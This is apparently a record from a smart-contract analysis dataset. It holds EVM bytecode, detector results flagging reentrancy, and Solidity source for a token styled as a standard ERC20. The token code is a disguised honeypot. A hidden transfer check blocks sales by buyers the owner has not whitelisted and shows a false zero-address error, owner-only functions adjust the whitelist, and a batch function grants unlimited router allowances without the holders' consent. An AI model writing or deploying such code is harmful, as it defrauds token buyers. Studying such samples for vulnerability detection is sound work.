4911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045b906118f2565b4761047a81610fb4565b6001600160a01b03811660009081526002602052604081205461042b90610fee565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045b906118f2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161045b906118f2565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f919061168d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df919061168d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f919061168d565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cbf565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161045b906118f2565b60005b8151811015610921576001600660008484815181106108dd576108dd611a39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091981611a08565b9150506108bc565b5050565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161045b906118f2565b600061095a306105ad565b905061047a81611072565b6000546001600160a01b0316331461098f5760405162461bcd60e51b815260040161045b906118f2565b600e546109af9030906001600160a01b031667016345785d8a0000610b9b565b600e546001600160a01b031663f305d71947306109cb816105ad565b6000806109e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7c919061186f565b5050600f805466038d7ee0614a0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a9190611839565b6000546001600160a01b03163314610b555760405162461bcd60e51b815260040161045b906118f2565b600f81101561047a57600b55565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b815260040161045b906118f2565b600f81101561047a57600c55565b6001600160a01b038316610bfd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610d9257600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610db857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dfa57506001600160a01b03821660009081526005602052604090205460ff16155b15610f6a576000600955600c54600a55600f546001600160a01b038481169116148015610e355750600e546001600160a01b03838116911614155b8015610e5a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e6f5750600f54600160b81b900460ff165b15610e9c576000610e7f836105ad565b601054909150610e8f83836111fb565b1115610e9a57600080fd5b505b600f546001600160a01b038381169116148015610ec75750600e546001600160a01b03848116911614155b8015610eec57506001600160a01b03831660009081526005602052604090205460ff16155b15610efd576000600955600b54600a555b6000610f08306105ad565b600f54909150600160a81b900460ff16158015610f335750600f546001600160a01b03858116911614155b8015610f485750600f54600160b01b900460ff165b15610f6857610f5681611072565b478015610f6657610f6647610fb4565b505b505b610f7583838361125a565b505050565b60008184841115610f9e5760405162461bcd60e51b815260040161045b919061189d565b506000610fab84866119f1565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610921573d6000803e3d6000fd5b60006007548211156110555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b600061105f611265565b905061106b8382611288565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ba576110ba611a39565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611146919061168d565b8160018151811061115957611159611a39565b6001600160a01b039283166020918202929092010152600e5461117f9130911684610b9b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b8908590600090869030904290600401611927565b600060405180830381600087803b1580156111d257600080fd5b505af11580156111e6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112088385611998565b90508381101561106b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b610f758383836112ca565b60008060006112726113c1565b90925090506112818282611288565b9250505090565b600061106b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b6000806000806000806112dc8761142f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130e908761148c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133d90866111fb565b6001600160a01b03891660009081526002602052604090205561135f816114ce565b6113698483611518565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ae91815260200190565b60405180910390a3505050505050505050565b600754600090819067016345785d8a00006113dc8282611288565b8210156113f85750506007549267016345785d8a000092509050565b90939092509050565b600081836114225760405162461bcd60e51b815260040161045b919061189d565b506000610fab84866119b0565b600080600080600080600080600061144c8a600954600a5461153c565b925092509250600061145c611265565b9050600080600061146f8e878787611591565b919e509c509a509598509396509194505050505091939550919395565b600061106b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7a565b60006114d8611265565b905060006114e683836115e1565b3060009081526002602052604090205490915061150390826111fb565b30600090815260026020526040902055505050565b600754611525908361148c565b60075560085461153590826111fb565b6008555050565b6000808080611556606461155089896115e1565b90611288565b9050600061156960646115508a896115e1565b905060006115818261157b8b8661148c565b9061148c565b9992985090965090945050505050565b60008080806115a088866115e1565b905060006115ae88876115e1565b905060006115bc88886115e1565b905060006115ce8261157b868661148c565b939b939a50919850919650505050505050565b6000826115f05750600061042b565b60006115fc83856119d2565b90508261160985836119b0565b1461106b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561166b81611a65565b919050565b60006020828403121561168257600080fd5b813561106b81611a65565b60006020828403121561169f57600080fd5b815161106b81611a65565b600080604083850312156116bd57600080fd5b82356116c881611a65565b915060208301356116d881611a65565b809150509250929050565b6000806000606084860312156116f857600080fd5b833561170381611a65565b9250602084013561171381611a65565b929592945050506040919091013590565b6000806040838503121561173757600080fd5b823561174281611a65565b946020939093013593505050565b6000602080838503121561176357600080fd5b823567ffffffffffffffff8082111561177b57600080fd5b818501915085601f83011261178f57600080fd5b8135818111156117a1576117a1611a4f565b8060051b604051601f19603f830116810181811085821117156117c6576117c6611a4f565b604052828152858101935084860182860187018a10156117e557600080fd5b600095505b8386101561180f576117fb81611660565b8552600195909501949386019386016117ea565b5098975050505050505050565b60006020828403121561182e57600080fd5b813561106b81611a7a565b60006020828403121561184b57600080fd5b815161106b81611a7a565b60006020828403121561186857600080fd5b5035919050565b60008060006060848603121561188457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118ca578581018301518582016040015282016118ae565b818111156118dc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119775784516001600160a01b031683529383019391830191600101611952565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119ab576119ab611a23565b500190565b6000826119cd57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ec576119ec611a23565b500290565b600082821015611a0357611a03611a23565b500390565b6000600019821415611a1c57611a1c611a23565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205857d720d3f6db7790d5099709876c8ae7ca9ecc9a465d460ee108b17ad5688364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,049
0xd59b02d1a65ead1715e6c84565885ad8adba9638
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_SUPER(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616